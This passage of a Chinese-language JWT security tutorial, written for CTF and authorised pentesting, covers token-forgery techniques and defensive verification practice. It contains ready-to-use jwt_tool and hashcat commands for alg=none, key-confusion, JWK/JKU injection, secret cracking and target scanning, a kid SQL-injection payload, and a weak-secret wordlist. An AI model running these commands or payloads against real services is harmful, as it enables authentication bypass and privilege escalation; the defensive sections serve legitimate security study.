# 某些服务端实现中不验证 exp
# 直接修改 Payload(需要其他漏洞配合绕过签名)

# ── 场景四:时区/时间精度差异 ──
# 某些实现对 exp 的比较有误差或时区问题

# ── 检测服务是否验证 exp ──
import time, jwt

# 生成一个已过期的 Token
expired_payload = {
    "user": "test",
    "exp": int(time.time()) - 3600  # 1小时前过期
}
# 若服务端接受此 Token,说明不验证 exp

# ── CVE 相关:某些库不验证 exp ──
# 旧版本 PyJWT 在 decode 时默认不验证 exp
# 需要显式传入 options={"verify_exp": True}

7.2 nbf 和 iat 攻击

# nbf(Not Before):指定 Token 在此时间之前无效
# 某些服务对 nbf 处理不当,可设为极小值使 Token 立即生效

# iat(Issued At):签发时间
# 某些服务基于 iat 实现会话超时(iat + max_age < now)
# 修改 iat 为当前时间,绕过会话超时

# 攻击场景
payload = {
    "user": "alice",
    "iat":  int(time.time()),    # 当前时间(刷新签发时间)
    "nbf":  0,                    # 1970年就可用(极早)
    "exp":  9999999999,           # 永不过期
}

八、敏感信息泄露

8.1 Payload 信息泄露

#!/usr/bin/env python3
"""JWT Payload 解码(不验证签名)"""
import base64
import json

def decode_jwt_insecure(token: str) -> dict:
    """解码 JWT 的所有部分(不验证签名)"""
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("无效的 JWT 格式")

    def decode_part(part: str):
        part += '=' * (4 - len(part) % 4)
        decoded = base64.urlsafe_b64decode(part)
        try:
            return json.loads(decoded)
        except:
            return decoded.hex()

    return {
        "header":    decode_part(parts[0]),
        "payload":   decode_part(parts[1]),
        "signature": parts[2],
        "raw":       parts
    }

# 常见泄露内容
# ① 用户 ID / 手机号 / 邮箱(PII 信息)
# ② 内部 IP 地址 / 服务器名称
# ③ 密码哈希(某些错误实现)
# ④ 访问权限 / 角色(便于后续攻击)
# ⑤ 版本信息 / 框架信息
# ⑥ 调试信息(is_debug: true)
# ⑦ 内部服务地址(iss 字段)

8.2 Header 泄露信息

# Header 中可能泄露的信息:

header_info = {
    "alg": "HS256",         # 算法类型(选择攻击方式的关键)
    "kid": "prod-key-v2",   # 密钥 ID(可能泄露内部命名规则)
    "jku": "https://internal.company.com/jwks",  # 内网地址!
    "x5u": "https://internal.ca/cert.pem",       # 内部 CA
    "typ": "JWT",
}

# 从 jku / x5u 中可能发现:
# ① 内部服务地址
# ② 内部 DNS 名称
# ③ 内部端口
# ④ 路径结构

# 从 kid 可能推断:
# ① 密钥轮换规则(key-v1, key-v2...)
# ② 环境区分(prod-key / dev-key)
# ③ 密钥存储路径(file:///keys/key1.pem)

九、CTF 实战思路

9.1 解题流程

获取 JWT Token
    │
    ├── 解码 Header + Payload(不验证签名)
    │   工具:jwt.io / jwt_tool / 手动 Base64 解码
    │
    ↓
分析 Header(确认算法和攻击方向)
    │
    ├── alg = none / None / NONE
    │   → 尝试 Algorithm None 攻击(直接去掉签名)
    │
    ├── alg = HS256 / HS384 / HS512
    │   ├── 尝试弱密钥爆破(hashcat / jwt_tool)
    │   ├── 检查 kid 字段 → kid 注入(SQL / 路径穿越)
    │   └── 检查源码中是否有密钥泄露
    │
    ├── alg = RS256 / RS384 / RS512
    │   ├── 获取公钥 → 尝试 RS256→HS256 混淆攻击
    │   ├── 检查 jwk 字段 → JWK 注入
    │   ├── 检查 jku/x5u 字段 → JKU/X5U 注入
    │   └── 检查 kid 字段 → kid 注入
    │
    └── alg = ES256 / ES384 / ES512
        ├── Java 环境 → 尝试 Psychic Signatures(全零签名)
        └── 检查 jwk/jku 字段
    │
    ↓
分析 Payload(确定篡改目标)
    │
    ├── 修改 role → admin
    ├── 修改 admin → true
    ├── 修改 user_id / sub → 目标 ID
    └── 延长 exp 过期时间
    │
    ↓
构造攻击 Payload → 提交 → 验证效果

9.2 快速攻击速查

# ── jwt_tool 全功能速查 ──

# 解码(不验证)
python3 jwt_tool.py <JWT>

# Algorithm None 攻击
python3 jwt_tool.py <JWT> -X a

# 弱密钥爆破
python3 jwt_tool.py <JWT> -C -d wordlist.txt

# RS256 → HS256 混淆(自动获取公钥)
python3 jwt_tool.py <JWT> -X k -pk public.pem

# JWK 注入
python3 jwt_tool.py <JWT> -X i

# JKU 注入(指定攻击者服务器)
python3 jwt_tool.py <JWT> -X s

# kid 注入(SQL)
python3 jwt_tool.py <JWT> -I -hc kid -hv "' UNION SELECT 'hacked'--"

# 修改 Payload 并重新签名(已知密钥)
python3 jwt_tool.py <JWT> -I -pc role -pv admin -S hs256 -p "secret"

# 扫描所有漏洞
python3 jwt_tool.py <JWT> -t https://target.com/ -rh "Authorization: Bearer JWT" -M at

# ── hashcat 爆破 ──
echo "<JWT>" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# ── 手动 Base64URL 解码 ──
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d  # 简化版(需补齐=)
python3 -c "
import base64, sys
s = sys.argv[1]
s += '=' * (4 - len(s) % 4)
print(base64.urlsafe_b64decode(s).decode())
" "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"

十、工具速查

10.1 常用工具汇总

# ── jwt.io(在线工具)──
# https://jwt.io
# 功能:解码/编码/验证 JWT,支持多种算法

# ── jwt_tool(Python,功能最全面)──
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt
python3 jwt_tool.py --help
# 主要功能:
#   解码、修改、签名、爆破、漏洞扫描
#   支持 None/弱密钥/混淆/JWK/JKU/kid 注入

# ── hashcat(GPU 加速爆破)──
hashcat -m 16500 jwt.txt wordlist.txt

# ── john the ripper ──
john --format=HMAC-SHA256 --wordlist=wordlist.txt jwt.txt

# ── c-jwt-cracker(C语言,快速)──
git clone https://github.com/brendan-rius/c-jwt-cracker
make
./jwtcrack <JWT>

# ── PyJWT(Python 库)──
pip install PyJWT
python3 -c "
import jwt
# 解码不验证
data = jwt.decode('<token>', options={'verify_signature': False})
print(data)
"

# ── Burp Suite 插件 ──
# JWT Editor(推荐):功能全,支持攻击场景
# JSON Web Tokens:基础解码
# JOSEPH(JWT/JWS/JWE 攻击)

# ── CyberChef(在线)──
# https://gchq.github.io/CyberChef/
# JSON Web Token Decode/Sign 功能

10.2 jwt_tool 详细使用

# 安装
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install termcolor cprint pycryptodomex requests

# 基础使用
TOKEN="eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UifQ.xxx"

# 1. 解码显示
python3 jwt_tool.py $TOKEN

# 2. 修改声明(需要配合其他参数重签)
python3 jwt_tool.py $TOKEN -I -pc "role" -pv "admin"
# -I: 交互式修改
# -pc: 修改 Payload 中的声明 key
# -pv: 修改 Payload 中的声明 value

# 3. 已知密钥签名
python3 jwt_tool.py $TOKEN -I -pc "role" -pv "admin" -S hs256 -p "secret"
# -S: 签名算法(hs256/hs384/hs512/rs256 等)
# -p: 密钥

# 4. Algorithm None 攻击
python3 jwt_tool.py $TOKEN -X a
# 自动生成多个 none 变体

# 5. 弱密钥爆破
python3 jwt_tool.py $TOKEN -C -d /usr/share/wordlists/rockyou.txt
# -C: crack 模式
# -d: 字典文件

# 6. RS256 → HS256 混淆攻击
python3 jwt_tool.py $TOKEN -X k -pk server_public.pem
# -X k: key confusion 攻击
# -pk: 公钥文件路径

# 7. JWK 注入攻击
python3 jwt_tool.py $TOKEN -X i
# 自动生成密钥对并嵌入 JWK

# 8. 扫描模式(自动尝试多种攻击)
python3 jwt_tool.py $TOKEN \
  -t "https://target.com/api/protected" \
  -rh "Authorization: Bearer JWT" \
  -M at
# -t: 目标 URL
# -rh: 请求头(JWT 用于替换)
# -M at: 扫描所有攻击类型

十一、防御措施

11.1 签名验证正确实践

# ── Python(PyJWT)安全实践 ──
import jwt

# ❌ 危险:不指定算法,可能接受 none
payload = jwt.decode(token, secret, algorithms=None)

# ❌ 危险:options 禁用所有验证
payload = jwt.decode(token, secret, options={"verify_signature": False})

# ✅ 安全:明确指定允许的算法
payload = jwt.decode(
    token,
    secret,
    algorithms=["HS256"],    # 只允许 HS256
    options={
        "verify_exp": True,  # 验证过期时间
        "verify_nbf": True,  # 验证 nbf
        "verify_iat": True,  # 验证签发时间
        "verify_aud": True,  # 验证受众
        "require": ["exp", "iat", "sub"]  # 要求必须包含的声明
    },
    audience="my-api"
)

# ✅ 对于 RSA 算法:
payload = jwt.decode(
    token,
    public_key,
    algorithms=["RS256"],    # 只允许 RS256,防止混淆攻击
)
// ── Node.js(jsonwebtoken)安全实践 ──

// ❌ 危险:不指定算法
const payload = jwt.verify(token, secret);

// ❌ 危险:接受从 Token 中获取的算法
const { alg } = jwt.decode(token, { complete: true }).header;
const payload = jwt.verify(token, secret, { algorithms: [alg] });

// ✅ 安全:硬编码允许的算法
const payload = jwt.verify(token, secret, {
    algorithms: ['HS256'],  // 只允许 HS256
    issuer: 'auth.example.com',
    audience: 'api.example.com',
    clockTolerance: 30,     // 允许 30 秒时钟偏差
});

// ✅ RSA 场景
const payload = jwt.verify(token, publicKey, {
    algorithms: ['RS256'],  // 明确指定,防止混淆攻击
});
// ── Java(jjwt)安全实践 ──

// ❌ 危险:不限制算法
Claims claims = Jwts.parser()
    .setSigningKey(key)
    .parseClaimsJws(token)
    .getBody();

// ✅ 安全
Claims claims = Jwts.parserBuilder()
    .setSigningKey(key)
    .requireIssuer("auth.example.com")
    .requireAudience("api.example.com")
    .setAllowedClockSkewSeconds(30)
    .build()
    .parseClaimsJws(token)  // 自动验证 exp/nbf/iat
    .getBody();

11.2 密钥管理

import secrets
import os

# ── 密钥强度要求 ──
# HS256:至少 256 位(32 字节)随机密钥
# HS384:至少 384 位(48 字节)随机密钥
# HS512:至少 512 位(64 字节)随机密钥
# RS256/ES256:至少 2048/256 位密钥对

# 生成强随机密钥
def generate_secure_key(bits: int = 256) -> str:
    return secrets.token_hex(bits // 8)

# HS256 密钥(32字节 = 256位)
hs256_key = generate_secure_key(256)
print(f"HS256 密钥: {hs256_key}")  # 64个十六进制字符

# ❌ 不要使用弱密钥
BAD_KEYS = [
    "secret", "password", "123456",
    os.getenv("APP_NAME", "myapp"),  # 动态生成但可预测
    "secret_" + "key",              # 拼接可预测字符串
]

# ✅ 密钥存储最佳实践
# 1. 使用环境变量(不写在代码里)
secret = os.environ['JWT_SECRET_KEY']  # 从环境变量读取

# 2. 使用密钥管理服务(AWS KMS / HashiCorp Vault)
# 3. 定期轮换密钥(配合 kid 机制)
# 4. 不同环境使用不同密钥(dev/staging/prod)

11.3 防止声明伪造

# ── 服务端验证声明的正确方式 ──

def validate_token(token: str, secret: str) -> dict:
    """安全的 Token 验证"""
    try:
        payload = jwt.decode(
            token,
            secret,
            algorithms=["HS256"],
            options={"require": ["exp", "iat", "sub", "iss"]}
        )
    except jwt.ExpiredSignatureError:
        raise AuthError("Token 已过期")
    except jwt.InvalidAlgorithmError:
        raise AuthError("不允许的签名算法")
    except jwt.InvalidTokenError as e:
        raise AuthError(f"无效的 Token: {e}")

    # 额外的业务逻辑验证(不仅依赖 JWT 声明)
    user_id = payload.get('sub')
    role = payload.get('role')

    # ✅ 从数据库重新获取用户信息,而非完全信任 JWT 声明
    user = db.get_user(user_id)
    if not user:
        raise AuthError("用户不存在")
    if user.role != role:  # 验证角色一致性
        raise AuthError("Token 声明与数据库不一致")

    return payload

# ── JWT 黑名单(用于撤销 Token)──
revoked_tokens = set()  # 实际使用 Redis

def is_revoked(jti: str) -> bool:
    return jti in revoked_tokens

def revoke_token(jti: str):
    revoked_tokens.add(jti)

# 在验证时检查
payload = jwt.decode(token, secret, algorithms=["HS256"])
if is_revoked(payload.get('jti', '')):
    raise AuthError("Token 已被撤销")

11.4 JWK/JKU 安全配置

# ── 防止 JWK 注入 ──
# 不信任 Header 中的 jwk 参数

# ❌ 危险
from cryptography.hazmat.primitives.asymmetric import rsa
header = jwt.get_unverified_header(token)
if 'jwk' in header:
    # 从 header 取 JWK 用于验证 → 危险!
    public_key = load_key_from_jwk(header['jwk'])

# ✅ 安全:只使用服务端预定义的公钥
TRUSTED_PUBLIC_KEYS = {
    "key-1": load_public_key_from_file("/keys/public1.pem"),
    "key-2": load_public_key_from_file("/keys/public2.pem"),
}

def get_verified_public_key(token: str):
    header = jwt.get_unverified_header(token)
    kid = header.get('kid')
    if kid not in TRUSTED_PUBLIC_KEYS:
        raise AuthError(f"未知的 kid: {kid}")
    return TRUSTED_PUBLIC_KEYS[kid]

# ── 防止 JKU 注入 ──
TRUSTED_JKU_URLS = {
    "https://auth.example.com/.well-known/jwks.json",
}

def validate_jku(jku_url: str):
    if jku_url not in TRUSTED_JKU_URLS:
        raise AuthError(f"不信任的 JKU URL: {jku_url}")

11.5 安全检查清单

JWT 安全检查清单:

签名与算法:
  ✅ 明确指定允许的算法(算法白名单),绝不信任 Header 中的算法声明
  ✅ 禁用 alg=none
  ✅ HS 算法使用至少 256 位的随机密钥
  ✅ 优先使用 RS256/ES256(非对称算法)
  ✅ 不要在 RS256 验证时同时接受 HS256(防混淆攻击)

声明验证:
  ✅ 验证 exp(过期时间)
  ✅ 验证 nbf(生效时间)
  ✅ 验证 iss(签发者)
  ✅ 验证 aud(受众)
  ✅ 包含 jti(JWT ID)用于防重放
  ✅ 不完全信任 JWT 声明,关键信息从数据库二次验证

密钥管理:
  ✅ 密钥存储在环境变量/密钥管理服务,不硬编码
  ✅ 定期轮换密钥(配合 kid 机制)
  ✅ 不同环境使用不同密钥

JWK/JKU 安全:
  ✅ 不信任 Header 中的 jwk 参数
  ✅ jku/x5u 使用严格白名单
  ✅ kid 用于数据库/文件系统查询时做严格过滤

其他:
  ✅ 实现 Token 黑名单(支持撤销)
  ✅ 设置合理的有效期(短期 Token + Refresh Token)
  ✅ HTTPS 传输,防止 Token 被窃取
  ✅ 不在 URL 中传递 JWT(使用 Authorization Header)
  ✅ 定期进行安全审计和渗透测试

附录

A. JWT 攻击速查表

攻击类型 适用条件 关键操作 工具/命令
Algorithm None 服务端未强制签名 alg→none,去掉签名 jwt_tool -X a
弱密钥爆破 HS256 + 弱密钥 hashcat/字典爆破 hashcat -m 16500
RS256→HS256 混淆 RS256 + 可获取公钥 alg→HS256,公钥作HMAC密钥 jwt_tool -X k -pk pub.pem
JWK 注入 Header 接受 jwk 字段 生成密钥对,嵌入公钥 jwt_tool -X i
JKU 注入 Header 接受 jku,无白名单 托管JWKS,指向自己服务器 jwt_tool -X s
kid SQL 注入 kid 拼入 SQL 查询 kid→SQL注入语句 手动构造
kid 路径穿越 kid 用于读取文件 kid→/dev/null,空密钥签名 手动构造
Psychic Sig Java ES256(未打补丁) 签名改为全零字节 手动构造
exp 绕过 服务端不验证 exp exp→9999999999 配合其他攻击

B. 常见弱密钥字典

secret
password
123456
admin
jwt
token
secret123
qwerty
letmein
my-secret-key
supersecret
your-256-bit-secret
change-me
jwt-secret
jwt_secret
jwtSecret
app-secret
auth-secret
signing-key
private-key
SjkFoKP0HpGdBlU1UBMb6KnakBTi4Sbv

C. JWT 格式快速参考

JWT 结构:
<Base64URL(Header)>.<Base64URL(Payload)>.<Signature>

none 攻击格式:
<Base64URL({"alg":"none"})>.<Base64URL(Payload)>.

Header 攻击参数:
  alg  → 算法(none 攻击 / RS256→HS256 混淆)
  kid  → 密钥ID(SQL注入 / 路径穿越)
  jwk  → 内嵌公钥(JWK 注入)
  jku  → JWK Set URL(JKU 注入)
  x5u  → X.509 URL(X5U 注入)

Payload 攻击字段:
  role / admin / is_admin / permissions
  sub / user / user_id / uid
  exp / nbf / iat
  iss / aud

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。JWT 漏洞的利用在未经授权的情况下属于违法行为,请在合法合规的环境中学习与实践。